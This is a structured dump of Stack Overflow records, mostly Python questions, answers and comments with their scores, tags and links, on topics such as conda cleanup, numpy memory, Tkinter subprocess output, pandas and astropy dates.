has body: When you raise an exception, you can pass in an exception message raise Exception('Put your useful message here') You can create custom exceptions like this class MyException(Exception): def __init__(self, data, *args, **kwargs): super(MyException, self).__init__(*args, **kwargs) self.data = data Notice how it also accepts some custom data in addition to an exception message. def func(): raise MyException(50, 'This is the exception message') You can get access to those attributes like this: try: func() except MyException as e: print(e.message) print(e.data)
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48778342

http://stackoverflow.com/q/48706548
tagged with: conda
accepted answer: http://stackoverflow.com/a/48706601
possible better answer: http://stackoverflow.com/a/54726607
favorite count: 0
has answer: http://stackoverflow.com/a/54726607
has title: How to free disk space taken up by (ana)conda?
tagged with: python
score: 157
has body: I am using the conda package manager - a lot. By now I have quite a few environments and a lot of downloaded packages taking a lot of space on my SSD. An obvious path to free some of that space is to use the command conda env export &gt; environment.yml from https://conda.io/docs/user-guide/tasks/manage-environments.html#exporting-the-environment-file to export which packages my old, inactive projects use(d) and then delete these environments. As far as I understand, this should free some of the space in anaconda2/envs/, but not in anaconda2/pkgs/. How do I get rid of these packages? Also, I suspect that there might be quite a few packages still sitting around, to which no environment is linking to - could that happen? Questions: In general: What is the best way to reduce the space taken up by conda? How do I get rid of packages that no environment is using anymore? How do I prune my packages? I am searching for something like sudo apt-get autoremove from Ubuntu/Debian.
type: AnsweredQuestion
tagged with: anaconda
downvote count: 1
has answer: http://stackoverflow.com/a/48706601
type: Question
upvote count: 158
answer count: 2

http://stackoverflow.com/a/48728198
has comment: http://stackoverflow.com/comment/84456628
has comment: http://stackoverflow.com/comment/84456739
upvote count: 1
answers question: http://stackoverflow.com/q/48727939
type: Answer
has body: From the sys.getsizeof docs: Only the memory consumption directly attributed to the object is accounted for, not the memory consumption of objects it refers to. sys.getsizeof returns the memory consumption of the list object itself, not including the objects contained by the list. A single one of your arrays: In [3]: arr = np.zeros(dtype=np.float64, shape=(60, 2094)) In [4]: arr.size Out[4]: 125640 In [5]: arr.nbytes Out[5]: 1005120 The python object wrapping the primitive array adds about 100 bytes. Note, there is always overhead for being an object, note: In [6]: sys.getsizeof(arr) Out[6]: 1005232 The actual memory consumption, then is about: In [7]: arr.nbytes*1e-9 Out[7]: 0.00100512 # one megabyte And if we had 2940 of them, just those objects would be: In [8]: arr.nbytes*2940*1e-9 Out[8]: 2.9550528000000003 # almost 3 gigabytes If I actually put these all in a list: In [13]: alist = [] In [14]: alist.append(arr) In [15]: for _ in range(2940 - 1): ...: alist.append(arr.copy()) ...: The list object itself is essentially backed by an array of py_object pointers. On my machine (64bit) a pointer will be one machine word, i.e. 64bits or 8 bytes. So: In [19]: sys.getsizeof(alist) Out[19]: 23728 In [20]: 8*len(alist) # 8 bytes per pointer Out[20]: 23520 So sys.getsizeof is only accounting for an array of pointers, plus object overhead, but that isn't even close to accounting for the 3 gigabytes consumed by the array objects being pointed to. Lo and behold: In [21]: arr = np.array(alist) In [22]: arr.shape Out[22]: (2940, 60, 2094) In [23]: arr.size Out[23]: 369381600 In [24]: arr.nbytes Out[24]: 2955052800 In [25]: arr.nbytes* 1e-9 Out[25]: 2.9550528000000003
downvote count: 0
score: 1

http://stackoverflow.com/q/48779331
linked to: http://stackoverflow.com/q/43137141
has title: Issue with Pyinstaller and threading or stdout?
has comment: http://stackoverflow.com/comment/84568997
answer count: 1
has answer: http://stackoverflow.com/a/48894904
has body: From "Run Process with Realtime Output to a Tkinter GUI" This code helped me immensely and a thanks to nbro if he/she is still around. From that exact code, I'm trying to make a standalone executable, but it is not working for me. Using: Pyinstaller --onefile --windowed test.py I found that if you modify the spec file to have console=True the program works perfectly. But I'd rather not have console=True.... is there a way to get this to work in 1 file? None of the functions seem to work otherwise. import tkinter as tk from tkinter.scrolledtext import ScrolledText import threading from subprocess import Popen, PIPE class Console(tk.Frame): """Simple console that can execute bash commands""" def __init__(self, master, *args, **kwargs): tk.Frame.__init__(self, master, *args, **kwargs) self.text_options = {"state": "disabled", "bg": "black", "fg": "#08c614", "insertbackground": "#08c614", "selectbackground": "#f01c1c"} self.text = ScrolledText(self, **self.text_options) # It seems not to work when Text is disabled... # self.text.bind("&lt;&lt;Modified&gt;&gt;", lambda: self.text.frame.see(tk.END)) self.text.pack(expand=True, fill="both") # bash command, for example 'ping localhost' or 'pwd' # that will be executed when "Execute" is pressed self.command = "" self.popen = None # will hold a reference to a Popen object self.running = False # True if the process is running self.bottom = tk.Frame(self) self.prompt = tk.Label(self.bottom, text="Enter the command: ") self.prompt.pack(side="left", fill="x") self.entry = tk.Entry(self.bottom) self.entry.bind("&lt;Return&gt;", self.start_thread) self.entry.bind("&lt;Command-a&gt;", lambda e: self.entry.select_range(0, "end")) self.entry.bind("&lt;Command-c&gt;", self.clear) self.entry.focus() self.entry.pack(side="left", fill="x", expand=True) self.executer = tk.Button(self.bottom, text="Execute", command=self.start_thread) self.executer.pack(side="left", padx=5, pady=2) self.clearer = tk.Button(self.bottom, text="Clear", command…
tagged with: pyinstaller
linked to: http://stackoverflow.com/q/30410421
tagged with: python
type: AnsweredQuestion
tagged with: tkinter
has comment: http://stackoverflow.com/comment/84676869
score: 0
accepted answer: http://stackoverflow.com/a/48894904
type: Question
has comment: http://stackoverflow.com/comment/84682313

http://stackoverflow.com/comment/84530544
comment on: http://stackoverflow.com/q/48764707
score: 0
type: Comment
has text: i didnt know this kind of website exist. Thanks a lot !
type: QuestionComment

http://stackoverflow.com/comment/84350162
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48675648
has text: @memo Did you try to edit my answer? A message popped up briefly and it was saying that there was an edit when I wanted to edit it. Please feel free to try again.
type: AnswerComment

http://stackoverflow.com/q/48711511
has comment: http://stackoverflow.com/comment/84715002
downvote count: 1
has title: How to use the input from 1 python script in another python script
type: Question
has comment: http://stackoverflow.com/comment/84738972
upvote count: 0
has answer: http://stackoverflow.com/a/48715810
has comment: http://stackoverflow.com/comment/84422491
answer count: 3
has comment: http://stackoverflow.com/comment/84699534
favorite count: 0
tagged with: python-3.x
has body: I have 3 python script files, say, R.py, N.py, P.py. I use P to run N which gets data from R, by calling R's function. I want to use the input from P in an if statment in R.py. I know I can change R.py to receive an arg, but I have to change R.py a lot, because the if is not in the function I am calling. Is there a way for me to capture the input from P.py and use it in R's if? P.py: import N.py as n lang = input("Enter the language set?: ) n.agent(name=name, learning=lr, is_remote=is_remote, is_bi=is_bi, batch=batch, no_char_codes=no_char_codes, classes=classes, data_set=lang) N.py: import R as r r.retrieve(start, batch_counter, is_remote) R.py(incomplete): # Here I want: # if lang == 'E' use the below, # else use something else. # but the lang is coming from P.py: char_codes = {0: 0, "a": 1, "b": 2, "c": 3, "d": 4, "e": 5, "f": 6, "g": 7, "h": 8, "i": 9, "j": 10, "k": 11, "l": 12} pos_values = {0: 0, "CC": 1, "CD": 2, "DT": 3, "EX": 4, "FW": 5, "IN": 6, "JJ": 7, "JJR": 8, "JJS": 9, "LS": 10} def retrieve(start, end, is_remote):
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48715442
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/48711890
has comment: http://stackoverflow.com/comment/84421965

http://stackoverflow.com/a/48665536
has body: use escape for special characters: props = {'creds1':'UserListings;service;SomeValue;Username:Mohan;Password:passkey123','creds2':'\'UserListings2;service;SomeValue2;Sample:Sikander;Password:passkey123'} print(props) output: {'creds1': 'UserListings;service;SomeValue;Username:Mohan;Password:passkey123', 'creds2': "'UserListings2;service;SomeValue2;Sample:Sikander;Password:passkey123"}
answers question: http://stackoverflow.com/q/48665492
score: 0
type: Answer

http://stackoverflow.com/q/48700006
has comment: http://stackoverflow.com/comment/84398996
has title: Sum values in column B for lines with matching column A values
tagged with: python
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/84398561
has body: Extract from large csv looks like this: Description,Foo,Excl,GST,Incl A,foo,$154.52,$15.44,$169.96 A,foo,$45.44,$4.54,$49.98 A,foo,$45.44,$4.54,$49.98 A,foo,$154.52,$15.44,$169.96 A,foo,$0.00,$0.00,$0.00 A,foo,$50.16,$5.02,$55.18 B,foo,$175.33,$15.65,$190.98 C,foo,$204.52,$15.44,$219.96 D,foo,$154.52,$15.44,$169.96 D,foo,$154.52,$15.44,$169.96 D,foo,$45.44,$4.54,$49.98 D,foo,$154.52,$15.44,$169.96 D,foo,$145.44,$14.54,$159.98 I need to strip the dollar sign and for all lines containing matching Description values (A or B or whatever it may be), sum the Excl column values separately, the GST column values separately and Incl column values separately for that Description value. End result should be a dictionary object containing the Description column as key and the sum totals of the Excl, GST and Incl columns matching the Description, example: { "A": [450.08,44.98,495.06], "B": [175.33,15.65,190.98], "C": [204.52,15.44,219.96], "D": [654.44,65.40,719.84] } I'm completely stumped on how to perform the sum operation. My code only goes as far as opening the csv and reading in values on each line. Any enlightenment is appreciated. import csv def getField(rowdata, index): try: val = rowdata[index] except IndexError: val = '-1' return val with open(csv, 'r') as f: reader = csv.reader(f) order_list = list(reader) # Remove the header row in csv order_list.pop(0) for row in order_list: Desc = getField(row, 0) Excl = getField(row, 2) GST = getField(row, 3) Incl = getField(row, 4)
upvote count: 3
has comment: http://stackoverflow.com/comment/84398568
type: Question
has answer: http://stackoverflow.com/a/48700224
answer count: 1
downvote count: 0
tagged with: http://stackoverflow.com/tag/csv
accepted answer: http://stackoverflow.com/a/48700224
favorite count: 0

http://stackoverflow.com/comment/84645390
type: Comment
has text: It Gives Me a 403 Permissions Denied Error.. 'Cannot Send messages to this user' version 0.16.12
comment on: http://stackoverflow.com/a/48809810
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84437260
type: Comment
has text: What is not working? Can you provide more error details or other info?
comment on: http://stackoverflow.com/q/48719003
score: 0
type: QuestionComment

http://stackoverflow.com/q/48788787
has comment: http://stackoverflow.com/comment/84633831
score: 1
type: Question
has title: Tkinter Canvas items stored cleared and recalled
answer count: 1
has body: I am a beginner messing around in python 3.6 with tkinter canvas and have built a function that generates a solar system at random using elipses and the random method. I would like to be able to save these items and all their attributes like their tags and bindings so that I can clear the canvas and draw a new random system. I would then like to go back to the first generated system if I need to. I do not want to save the canvas as an image as I am binding the items to functions. Any ideas on how to achieve this?
upvote count: 1
tagged with: tkinter-canvas
favorite count: 0
has answer: http://stackoverflow.com/a/48789366
accepted answer: http://stackoverflow.com/a/48789366
tagged with: tkinter
downvote count: 0
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/comment/84384752
type: Comment
has text: Yes, `(tup + (4,) for tup in itertools.combinations(np.arange(4),2))` does produce a generator! Thank you
comment on: http://stackoverflow.com/a/48693155
type: AnswerComment
score: 0

http://stackoverflow.com/q/48710409
tagged with: tensorflow
has body: weights = tf.Variable(tf.truncated_normal([2,3])) with tf.Session() as sess: sess.run(tf.global_variables_initializer()) print('Weights:') print(sess.run(weights)) print("{0:2f}".format(sess.run(weights))) The first print statement works as expected. Weights: [[ 0.30919516 0.29567152 0.11157229] [ 0.26642913 -0.21269836 -0.58886886]] The second print statement with str.format() gives the below error. --------------------------------------------------------------------------- TypeError Traceback (most recent call last) &lt;ipython-input-20-b0e4f93d01f8&gt; in &lt;module&gt;() 4 print('Weights:') 5 print(sess.run(weights)) ----&gt; 6 print("{0:2f}".format(sess.run(weights))) &gt; TypeError: non-empty format string passed to object.__format__ In addition to the below answer, I also found np.set_printoptions(precision=2) also works. np.set_printoptions(precision=2) weights = tf.Variable(tf.truncated_normal([2,3])) with tf.Session() as sess: sess.run(tf.global_variables_initializer()) print('Weights:') print(sess.run(weights)) Weights: [[ 0.01 -0.42 -1.57] [-0.44 1.62 0.27]]
type: Question
score: 3
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48710566
tagged with: python
has title: How to print a Tensor Flow variable to 2 decimal places?
type: AnsweredQuestion
upvote count: 3
accepted answer: http://stackoverflow.com/a/48710566

http://stackoverflow.com/comment/84497173
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/48748510
has text: I guess that if you always do it, it makes the code look more uniform, but it also means that there's less code per screen, and I try to avoid spreading class or function definitions over too many screens. Personally, I only break lines when they need to be broken, but that's just my opinion.

http://stackoverflow.com/q/48685847
tagged with: shapely
upvote count: 0
tagged with: geopandas
answer count: 1
favorite count: 0
tagged with: arcgis
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has body: I have been supplied with a matrix of bathymetry (water depth) data. The matrix represents an evenly spaced grid of depths, and is in .csv format. The matrix has some 'screened out' areas which have value -9999. The -9999 points need to be identified and turned into some kind of feature to be used later. The majority will be in clusters inside the grid - large areas of screened out data containing many (>1000) adjacent points. However... It could be that some or all of the outer edge values of the grid have value -9999. It is possible that there are lone points/lines of points which have value -9999. There are likely to be areas of -9999 surrounding regions of 'good' (not -9999) data - polygons within polygons. My task: Identify each separate area (or point) of -9999 value within the csv file, and produce a separate polygon/point for each one. The polygons would be the outer/inner boundaries of the -9999 area The next steps involve placing items on the map, avoiding the -9999 features. I created my own function to identify the -9999 values and create polygons, but it has some issues, and I am sure there must be pre-built libraries which can do this better than I. Can anybody advise a way to approach this, and perhaps give some useful library/function recommendations? I am beginning to doubt whether polygons/features are the way to do this, but that approach does seem to have some nice advantages if it can work. Thank you!
has answer: http://stackoverflow.com/a/48688055
downvote count: 1
has comment: http://stackoverflow.com/comment/84372782
type: Question
score: -1
has title: Detect values in bathymetry grid and output polygons - Python
has comment: http://stackoverflow.com/comment/84370642

http://stackoverflow.com/q/48776217
score: 6
has comment: http://stackoverflow.com/comment/84554725
tagged with: pandas
linked to: http://stackoverflow.com/q/12680754
downvote count: 0
has title: Split (explode) range in dataframe into multiple rows
accepted answer: http://stackoverflow.com/a/48777121
favorite count: 0
has comment: http://stackoverflow.com/comment/84554747
has body: This question is similar to Split (explode) pandas dataframe string entry to separate rows but includes a question about adding ranges. I have a DataFrame: +------+---------+----------------+ | Name | Options | Email | +------+---------+----------------+ | Bob | 1,2,4-6 | bob@email.com | +------+---------+----------------+ | John | NaN | john@email.com | +------+---------+----------------+ | Mary | 1,2 | mary@email.com | +------+---------+----------------+ | Jane | 1,3-5 | jane@email.com | +------+---------+----------------+ And I'd like the Options column to be split by the comma as well as rows added for a range. +------+---------+----------------+ | Name | Options | Email | +------+---------+----------------+ | Bob | 1 | bob@email.com | +------+---------+----------------+ | Bob | 2 | bob@email.com | +------+---------+----------------+ | Bob | 4 | bob@email.com | +------+---------+----------------+ | Bob | 5 | bob@email.com | +------+---------+----------------+ | Bob | 6 | bob@email.com | +------+---------+----------------+ | John | NaN | john@email.com | +------+---------+----------------+ | Mary | 1 | mary@email.com | +------+---------+----------------+ | Mary | 2 | mary@email.com | +------+---------+----------------+ | Jane | 1 | jane@email.com | +------+---------+----------------+ | Jane | 3 | jane@email.com | +------+---------+----------------+ | Jane | 4 | jane@email.com | +------+---------+----------------+ | Jane | 5 | jane@email.com | +------+---------+----------------+ How can I go beyond using concat and split like the reference SO article says to accomplish this? I need a way to add a range. That article uses the following code to split comma delineated values (1,2,3): In [7]: a Out[7]: var1 var2 0 a,b,c 1 1 d,e,f 2 In [55]: pd.concat([Series(row['var2'], row['var1'].split(',')) for _, row in a.iterrows()]).reset_index() Out[55]: index 0 0 a 1 1 b 1 2 c 1 3 d 2 4 e 2 5 f 2 Thanks in advance for your suggestions! Update 2/14 Sample data was updated to m…
tagged with: python
upvote count: 6
answer count: 4
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/48197234
has comment: http://stackoverflow.com/comment/84555614
possible better answer: http://stackoverflow.com/a/48776677
linked to: http://stackoverflow.com/q/6405208
has answer: http://stackoverflow.com/a/48776677
has answer: http://stackoverflow.com/a/48776944
type: Question
has answer: http://stackoverflow.com/a/48777121
tagged with: numpy
has answer: http://stackoverflow.com/a/48776754
tagged with: dataframe

http://stackoverflow.com/a/70087006
answers question: http://stackoverflow.com/q/48694790
type: Answer
score: 1
upvote count: 1
has body: This should work simply by setting skip_blank_lines=True. skip_blank_lines : bool, default True If True, skip over blank lines rather than interpreting as NaN values. However, I found that I had to set this to False to work with my data that has new lines in it. Very strange, unless I'm misunderstanding. Docs
downvote count: 0

chemistry
tag name: chemistry
type: Tag
tags question: http://stackoverflow.com/q/48669651

http://stackoverflow.com/q/48792771
score: 3
tagged with: astropy
has body: I have a dataset with time in days since 1-1-1 00:00:0.0 UTC, the last time is 736740.125 days. It is indicated that the last date is Feb 14 2018 03:00 UTC. Using astropy: from astropy.time import Time,Timedelta (Time('0001-01-01 00:00:00.0',format='iso')+TimeDelta(736740.125,format='jd')).iso The output is '2018-02-16 02:59:23.000' Also with Julian days: Time(Time('0001-01-01 00:00:00',format='iso').jd+736740.125,format='jd').iso Time('2018-02-14 03:00:00',format='iso').jd-Time('0001-01-01 00:00:00',format='iso').jd The output is '2018-02-16 03:00:00.000' and 736738.125 Similarly with datetime: from datetime import datetime datetime(2018,2,14,3)-datetime(1,1,1) The output is datetime.timedelta(736738, 10800), 736738.125 days The dataset definitely has no data after the last indicated date of Feb 14 2018 03:00 UTC. I also have that same 2 days difference with the starting date, it is indicated to be Feb 20 2014 00:00 UTC, 735285.0 days since 1-1-1 00:00:0.0 UTC. However: Time('2014-02-20 00:00:00',format='iso').jd-Time('0001-01-01 00:00:00',format='iso').jd datetime(2014,2,20)-datetime(1,1,1) Both give 735283.0 days Does anyone understand where the 2 days difference might come from? EDIT: I get a match in IDL with the JULDAY function (https://www.harrisgeospatial.com/docs/julday.html) JULDAY(2,14,2018,3)-JULDAY(1,1,1,0) Gives 736740.125 IDL &gt; JULDAY(2,14,2018,3) Python &gt; Time('2018-02-14 03:00:0.0',format='iso').jd both give 2458163.625 IDL &gt; JULDAY(1,1,1,0) Python &gt; Time('0001-01-01 00:00:0.0',format='iso').jd idl gives 1721423.5 python gives 1721425.5 I looked at differences for Jan 1 00:00 from year 1-2000 between JULDAY and Time().jd Differences in days IDL-python 0 starting in 1583 10 for 1501-1582 9 for 1401-1500 8 for 1301-1400 etc for each 100 years Thus for year 1-100 there is -2 days I am not sure if there is an already existing way to replicate in python what IDL's JULDAY is doing.
downvote count: 0
favorite count: 0
type: UnansweredQuestion
has title: Understanding date mismatch using timedelta
tagged with: datetime
tagged with: python
has comment: http://stackoverflow.com/comment/84590654
answer count: 0
upvote count: 3
type: Question
has comment: http://stackoverflow.com/comment/84588599

http://stackoverflow.com/q/48717023
has answer: http://stackoverflow.com/a/48717842
has answer: http://stackoverflow.com/a/48717095
type: Question
has title: how can I filter html tags in python?
has body: here is the html abc cba abc cba pp pp abc cba abc cba pp pp I want to filter "class" "data-id" "data-style-type" "data-tools" only left abc cba abc cba pp pp abc cba abc cba pp pp How can I do this in python? Thank you!
linked to: http://stackoverflow.com/q/1732348
score: 0
answer count: 2
linked to: http://stackoverflow.com/q/41720896
has comment: http://stackoverflow.com/comment/84433488
has comment: http://stackoverflow.com/comment/84433324
tagged with: filter
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/9044088
tagged with: http://stackoverflow.com/tag/html
tagged with: python
linked to: http://stackoverflow.com/q/11709079
has comment: http://stackoverflow.com/comment/84433318
has comment: http://stackoverflow.com/comment/84433667

http://stackoverflow.com/comment/84484130
has text: I am sorry but I managed to get it to work, the program was okay but I thought it wasn't seeing the output of the repr() functions on the queues: they had different values but the queue was shared. I thought it was a good oracle to see whether the queue instance was unique but it wasn't. I think at low level memory, depending on the context on which you fork a process it can use the same space of memory of the father memory or copy in another location and link the spaces together. I am not sure but it works now.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48707831
type: AnswerComment

http://stackoverflow.com/comment/84389744
comment on: http://stackoverflow.com/a/48695449
type: Comment
has text: The tensordot threw an error: `Traceback (most recent call last): File "<stdin>", line 1, in <module> File "C:\Python\Python35\lib\site-packages\numpy\core\numeric.py", line 1309, in tensordot if as_[axes_a[k]] != bs[axes_b[k]]: IndexError: tuple index out of range` but they have those axes? `>>> V.shape (100, 100) >>> X.shape (10, 100, 7)` Or do I need to add a `np.newaxis` to `V`?
score: 0
type: AnswerComment

http://stackoverflow.com/a/48747486
score: 1
answers question: http://stackoverflow.com/q/48746422
upvote count: 1
has body: Above answer is perfectly alright if you want this on view. Another safe method is request.POST.get('message') it will return None instead of error message, if it's available. But, you want it on template then you can use {{ form.data.message }}
type: Answer
downvote count: 0

http://stackoverflow.com/q/48722717
upvote count: 1
type: AnsweredQuestion
has body: I am new to Python so don't know much about it. But I know the basics of indentation and I cannot solve the error of expected an indented block in the following code. meal =["egg","milk","spam","tomato"] for item in meal: if item =="spam": nasty_food =item break if nasty_food: print("there is nasty food")
has answer: http://stackoverflow.com/a/48722852
type: Question
has title: expected an indented block python error
answer count: 2
tagged with: indentation
downvote count: 0
score: 1
tagged with: python-3.6
has comment: http://stackoverflow.com/comment/84444553
accepted answer: http://stackoverflow.com/a/48722852
has comment: http://stackoverflow.com/comment/84444337
tagged with: python
favorite count: 0
possible better answer: http://stackoverflow.com/a/48722743
has answer: http://stackoverflow.com/a/48722743

http://stackoverflow.com/q/48649471
type: Question
has comment: http://stackoverflow.com/comment/84298118
has comment: http://stackoverflow.com/comment/84296774
has comment: http://stackoverflow.com/comment/84296714
has title: MongoDB aggregate query how to split the array element
tagged with: mongodb
tagged with: arrays
downvote count: 0
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/62121694
has comment: http://stackoverflow.com/comment/84482256
type: UnansweredQuestion
tagged with: aggregation-framework
tagged with: python
tagged with: mongodb-query
has comment: http://stackoverflow.com/comment/84297876
score: 1
has body: In my mongodb, i have few collections, i want to create a new collection by comparing the collection 1 and collection 2 using pymongo. Collection 1 : Object id timestamp Prof_Name SUBJECT abc67478898k ISODate("2018-01-03T09:26:37.541Z") ABDC "sub1, sub2, sub3" jjjjjjjjjj ISODate("2018-01-03T09:26:37.541Z") XYZ "sub2, sub4, sub8" Collection 2 : Object id timestamp UUID SUBJECT_ID rating score 3333333 ISODate("2018-01-03TZ") 7897 "sub1,sub4, sub7" 7 10 444444 ISODate("2018-01-03TZ") 4532 "sub2" 4 6 777777 ISODate("2018-01-03TZ") 7876 "sub1,sub2,sub3" 8 8 1111111 ISODate("2018-01-03TZ") 654 "sub1,sub3" 7 8 Json is as below : data1 : { "_id" : ObjectId("7a563a5a5560fd08da86dc44"), "Prof_Name" : "Jack", "timestamp" : ISODate("2018-01-10T16:08:26.613Z"), "SUBJECT" : ["Maths", "Chemistry", "Machinery1", "Ele1"] } { "_id" : ObjectId("7a563a5a5560fd08da86dc45"), "Prof_Name" : "Mac", "timestamp" : ISODate("2018-01-10T16:08:26.613Z"), "SUBJECT" : ["Chemistry", "CS", "German"] } { "_id" : ObjectId("7a563a5a5560fd08da86dc46"), "Prof_Name" : "Bill", "timestamp" : ISODate("2018-01-10T16:08:26.613Z"), "SUBJECT" : ["German"] } data2 : { "_id" : ObjectId("7a563a5a5560fd08da86dc46"), "Rating" : 6, "UUID" : 8123, "timestamp" : ISODate("2018-01-10T16:08:26.613Z"), "SUBJECT_ID" : "Maths", "ID" : "OI-123" } { "_id" : ObjectId("7a563a5a5560fd08da86dc47"), "Rating" : 7, "UUID" : 8123, "timestamp" : ISODate("2018-01-10T16:08:26.613Z"), "SUBJECT_ID" : "Machinery1, Maths, French, German", "ID" : "OI-98" } I'm trying to generate 3rd collection, where for each subject by Prof_name find matching subjects in collection2 and the UUID and UUID_count between a certain timestamp and my mongo query is as below: db.data1.aggregate([ {"$lookup":{ "from":"data2", "let":{"subject":{"$split":["$SUBJECT",", "]}}, "pipeline":[ {"$match": {"expr":{"$and":[{"$eq":[{"$year":"$timestamp"}, 2016]}, {"$eq":[{"$month":"$timestamp"}, 1]}]}}}, {"$addFields":{"SUBJECT_ID":{"$split":["$SUBJECT_ID",", "]},"SUBJECT":"$$su…
upvote count: 1

http://stackoverflow.com/comment/84552692
has text: @unknown121 We replace `conv1` and `pool1` with the whole `block1` because that's how `VGG16` architecture is structured - you can't just take a single convolution layer from 1st block of VGG, one from 2nd block and so on with pooling and stack them together. Every next layer is highly dependent on underlying layers. So yeah - we modified the `U-Net` architecture in order to use VGG16 at the bottom.
type: AnswerComment
type: Comment
score: 1
comment on: http://stackoverflow.com/a/48748553

http://stackoverflow.com/comment/84559005
type: Comment
type: QuestionComment
has text: Hello :) Here at Stack Overflow, the Question and Answer format is distinct to that of many other forums. Specifically, the title should strictly reflect the question at hand, without including words meant as tags, which are already at the foot of your question. Also, there is no need to add "Solved" or any other indication to your question. The proper way to mark your issue as done or solved is to accept the answer that most helped you. For more information, see [Should questions include "tags" in their titles?](https://meta.stackexchange.com/a/130208/363946)
comment on: http://stackoverflow.com/q/48778467
score: 0

http://stackoverflow.com/a/48796660
has body: What you are trying to do can be accomplished in literally one line without hardcoding the ASCII codes of the characters: code = '3210' # Do not use initial upper-case letters for variable names! newCode = ''.join('{:03}'.format(ord(n)) for n in code) # '051050049048' However, the purpose of your exercise is still unclear. Also mind that '0XY' typically means that 'XY' is written in the octal number system. Therefore, neither X nor Y can be an 8 or a 9.
score: 1
answers question: http://stackoverflow.com/q/48796374
downvote count: 0
type: Answer
upvote count: 1

http://stackoverflow.com/q/48751046
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/48752252
tagged with: ndimage
has title: Conditional logic with Python ndimage generic_filter
tagged with: python
type: AnsweredQuestion
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/48752252
tagged with: scipy
type: Question
tagged with: numpy
has body: I am trying to write a python function to remove hot-pixels in 2D image data. I am trying to make function that will take the mean for the neighbors around each element in the 2D array and conditionally overwrite that element if its value exceeds the mean of its neighbors by a specific amount (for example 3 sigma). This is where I am: def myFunction(values): if np.mean(values) + 3*np.std(values) &lt; origin: return np.mean(values) footprint = np.array([[1,1,1], [1,0,1], [1,1,1]]) correctedData = ndimage.generic_filter(data, myFunction, footprint = footprint) 'origin' in the above code is demonstrative. I know it isn't correct, I am just trying to show what I am trying to do. Is there a way to pass the value of the current element to the generic_function? Thanks!
upvote count: 1
answer count: 1
favorite count: 0

http://stackoverflow.com/a/48701970
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/48700925
score: 1
has body: You only need to introduce a separate character for indicating a third state for a square: (space) = not visited before * = visited, and on the solution's path . = visited, but it is not confirmed to be on the solution's path There is also a mistake where you return True instead of False and vice versa. Here is how the solution function needs to be adapted. Comments appear to indicate the three lines that need to be changed in your code: def maze_solution(self, row, col): if row == self.end[0] and col == self.end[1]: self.maze[row][col] = '*' return True elif self.maze[row][col] == ' ': self.maze[row][col] = '.' # New status: "trying" if self.maze_solution(row, col + 1) or \ self.maze_solution(row + 1, col) or \ self.maze_solution(row, col - 1) or \ self.maze_solution(row - 1, col): self.maze[row][col] = '*' return True # Indicate success (not failure) return False # Indicate failure (not success) elif self.maze[row][col] in '-|+': return False Output: --------------------- | |.|***| |-+-+-+ +-+-+ +.+*+-| | | | | |..*..| | +-+-+ + +-+-+-+*+.| | ***| | | ***|.| |-+-+*+*+ + +-+*+-+-| | ***|*********....| |-+*+-+-+-+-+-+.+-+.| |***..|.........|...| --------------------- If the dots in the output bother you, you could just add logic in the print function that prints dots as spaces: def print_maze(self): for i in range(len(self.maze)): for j in range(len(self.maze[0])): print(self.maze[i][j].replace(".", " "), end='') print() But keeping the dots can be useful to see them when debugging.
has comment: http://stackoverflow.com/comment/113806319
downvote count: 0
has comment: http://stackoverflow.com/comment/113806648

http://stackoverflow.com/q/48794935
has body: I want to run an autoLISP on multiple CAD files (e.g. all files in a folder). Basically, open file (DWG), run LISP (including, save file) and close. I'm new to LISP, but less new to Python. Is it possible to run the batch with Python? I know how to open a file with a program in Python, but not how to run the LISP. Alternatively, anybody know how to run the batch with LISP? The solutions I've found so far involve third party software and C#. Also, I'm running AutoCAD-MEP 2018 and Python 3.5.
upvote count: 1
type: Question
answer count: 2
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/48798152
favorite count: 0
tagged with: autocad
has title: Batch run autoLISP with Python
tagged with: autolisp
accepted answer: http://stackoverflow.com/a/48798152
possible better answer: http://stackoverflow.com/a/52156912
tagged with: python
has answer: http://stackoverflow.com/a/52156912
type: AnsweredQuestion

http://stackoverflow.com/comment/84588928
has text: I believe you're looking for %p
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48793363
score: 1

http://stackoverflow.com/comment/84334017
type: QuestionComment
has text: `agent` and `manager` are *overwritten* each iteration of the loop
type: Comment
score: 3
comment on: http://stackoverflow.com/q/48668127

http://stackoverflow.com/comment/84449086
comment on: http://stackoverflow.com/q/48725001
type: Comment
type: QuestionComment
has text: Are you sure a user is logged in? Are you able to view the admin?
score: 1

http://stackoverflow.com/a/48709328
type: Answer
answers question: http://stackoverflow.com/q/48708492
score: 1
upvote count: 1
has body: QTextEdit does not have a text () method, as it is an editor that can render html, it has 2 methods: toPlainText() toHTML() The first returns the plain text, the second in HTML format. in your case, use the first method: if self.ui.Mortgage_value.toPlainText() != "": q = int(self.ui.Mortgage_value.toPlainText()) Note: Although I would recommend using QLineEdit instead of QTextEdit since in the case of QTextEdit it has several lines and how you want to convert it to a number can cause problems, besides QLineEdit supports validators like QIntValidator that helps you not to have problems with numbers.
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48708492

http://stackoverflow.com/q/48777154
has title: Pandas series as namedtuple
has comment: http://stackoverflow.com/comment/84556109
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84556016
has comment: http://stackoverflow.com/comment/84556006
upvote count: 5
has answer: http://stackoverflow.com/a/48777361
has comment: http://stackoverflow.com/comment/84556159
type: Question
score: 5
answer count: 3
has body: I am accessing pandas data frame rows and as a result I get pandas series. My parsing routines accept namedtuples. Is it possible to convert pandas series to named tuple?
downvote count: 0
